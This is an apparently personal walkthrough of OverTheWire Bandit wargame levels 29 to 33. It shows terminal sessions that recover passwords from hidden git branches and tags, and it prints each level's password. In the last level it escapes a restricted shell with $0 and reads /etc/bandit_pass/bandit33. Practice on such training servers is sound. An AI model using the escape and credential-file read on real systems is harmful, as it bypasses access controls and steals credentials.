            More information on http://www.overthewire.org/wargames

bandit29-git@localhost's password:
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (16/16), done.
Resolving deltas: 100% (2/2), done.
bandit29@bandit:/tmp/tmp.yprHIM2rh2$ ls
repo
bandit29@bandit:/tmp/tmp.yprHIM2rh2$ cd repo
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ ls
README.md
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: <no passwords in production!>
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ git log --oneline
4bd5389 (HEAD -> master, origin/master, origin/HEAD) fix username
1a57cf1 initial commit of README.md
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ git branch -v
* master 4bd5389 fix username
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ git branch -r
  origin/HEAD -> origin/master
  origin/dev
  origin/master
  origin/sploits-dev
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ git switch dev
Branch 'dev' set up to track remote branch 'dev' from 'origin'.
Switched to a new branch 'dev'
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ git status
On branch dev
Your branch is up to date with 'origin/dev'.

nothing to commit, working tree clean
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ git log --oneline
13e7356 (HEAD -> dev, origin/dev) add data needed for development
8caf551 add gif2ascii
4bd5389 (origin/master, origin/HEAD, master) fix username
1a57cf1 initial commit of README.md
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ ls
code  README.md
bandit29@bandit:/tmp/tmp.yprHIM2rh2/repo$ cat README.md
# Bandit Notes
Some notes for bandit30 of bandit.

## credentials

- username: bandit30
- password: xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS

Level 30

ssh bandit30@bandit.labs.overthewire.org -p 2220
Password: xbhV3HpNGlTIdnjUrdAlPzc2L6y9EOnS

Pretty similar:

There is a git repository at ssh://bandit30-git@localhost/home/bandit30-git/repo via the port 2220. The password for the user bandit30-git is the same as for the user bandit30.

Clone the repository and find the password for the next level.

bandit30@bandit:~$ cd $(mktemp -d)
bandit30@bandit:/tmp/tmp.8b3MUeH5cK$ git clone ssh://bandit30-git@localhost:2220/home/bandit30-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit30/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit30/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit30-git@localhost's password:
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (4/4), 298 bytes | 298.00 KiB/s, done.
bandit30@bandit:/tmp/tmp.8b3MUeH5cK$ cd repo
bandit30@bandit:/tmp/tmp.8b3MUeH5cK/repo$ cat RERA
cat: RERA: No such file or directory
bandit30@bandit:/tmp/tmp.8b3MUeH5cK/repo$ cat README.md
just an epmty file... muahaha
bandit30@bandit:/tmp/tmp.8b3MUeH5cK/repo$ git status
On branch master
Your branch is up to date with 'origin/master'.

nothing to commit, working tree clean
bandit30@bandit:/tmp/tmp.8b3MUeH5cK/repo$ git branch -v
* master 59530d3 initial commit of README.md
bandit30@bandit:/tmp/tmp.8b3MUeH5cK/repo$ ls
README.md
# ... lots of random git commands ...
bandit30@bandit:/tmp/tmp.8b3MUeH5cK/repo$ git tag
secret
bandit30@bandit:/tmp/tmp.8b3MUeH5cK/repo$ git show secret
OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt

Level 31

ssh bandit31@bandit.labs.overthewire.org -p 2220
Password: OoffzGDlzhAlerFJ2cAiz1D41JW1Mhmt

There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo via the port 2220. The password for the user bandit31-git is the same as for the user bandit31.

Clone the repository and find the password for the next level.

git gud is not a command 😔

bandit31@bandit:~$ cd $(mktemp -d)
bandit31@bandit:/tmp/tmp.BE1pSk6O9E$ git clone ssh://bandit31-git@localhost:2220/home/bandit31-git/repo
Cloning into 'repo'...
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit31/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit31-git@localhost's password:
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (4/4), done.
bandit31@bandit:/tmp/tmp.BE1pSk6O9E$ ls
repo
bandit31@bandit:/tmp/tmp.BE1pSk6O9E$ cd repo
bandit31@bandit:/tmp/tmp.BE1pSk6O9E/repo$ ls
README.md
bandit31@bandit:/tmp/tmp.BE1pSk6O9E/repo$ cat README.md
This time your task is to push a file to the remote repository.

Details:
    File name: key.txt
    Content: 'May I come in?'
    Branch: master

bandit31@bandit:/tmp/tmp.BE1pSk6O9E/repo$ echo 'May I come in?' > key.txt
bandit31@bandit:/tmp/tmp.BE1pSk6O9E/repo$ git add key.txt -f
bandit31@bandit:/tmp/tmp.BE1pSk6O9E/repo$ git status
On branch master
Your branch is up to date with 'origin/master'.

Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   key.txt

bandit31@bandit:/tmp/tmp.BE1pSk6O9E/repo$ git commit -m "solve 31"
[master 9f5f592] solve 31
 1 file changed, 1 insertion(+)
 create mode 100644 key.txt
bandit31@bandit:/tmp/tmp.BE1pSk6O9E/repo$ git push
The authenticity of host '[localhost]:2220 ([127.0.0.1]:2220)' can't be established.
ED25519 key fingerprint is SHA256:C2ihUBV7ihnV1wUXRb4RrEcLfXC5CXlhmAAM/urerLY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Could not create directory '/home/bandit31/.ssh' (Permission denied).
Failed to add the host to the list of known hosts (/home/bandit31/.ssh/known_hosts).
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

bandit31-git@localhost's password:
Enumerating objects: 4, done.
Counting objects: 100% (4/4), done.
Delta compression using up to 2 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (3/3), 321 bytes | 321.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: rmCBvG56y58BXzv98yZGdO7ATVL5dW8y
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://localhost:2220/home/bandit31-git/repo
 ! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://localhost:2220/home/bandit31-git/repo'

Level 32

ssh bandit32@bandit.labs.overthewire.org -p 2220
Password: rmCBvG56y58BXzv98yZGdO7ATVL5dW8y

It’s worth noting that even with -t (i.e. ssh bandit32@bandit.labs.overthewire.org -p 2220 -t /bin/bash), you still get put in the “UPPERCASE SHELL”

WELCOME TO THE UPPERCASE SHELL
>> ls
sh: 1: LS: Permission denied

Ok, this took me a bit of researching, but apparently $0 is a standard way of escaping from restricted shells:

>> $0
$ ls
uppershell
$ pwd
/home/bandit32
$ cat /etc/bandit_pass/bandit33
odHo63fHiFqcWWJG9rLiLDtPm45KzUKy

Read more here:

Level 33

ssh bandit33@bandit.labs.overthewire.org -p 2220
Password: odHo63fHiFqcWWJG9rLiLDtPm45KzUKy
bandit33@bandit:~$ ls
README.txt
bandit33@bandit:~$ cat README.txt
Congratulations on solving the last level of this game!

At this moment, there are no more levels to play in this game. However, we are constantly working
on new levels and will most likely expand this game with more levels soon.
Keep an eye out for an announcement on our usual communication channels!
In the meantime, you could play some of our other wargames.

If you have an idea for an awesome new level, please let us know!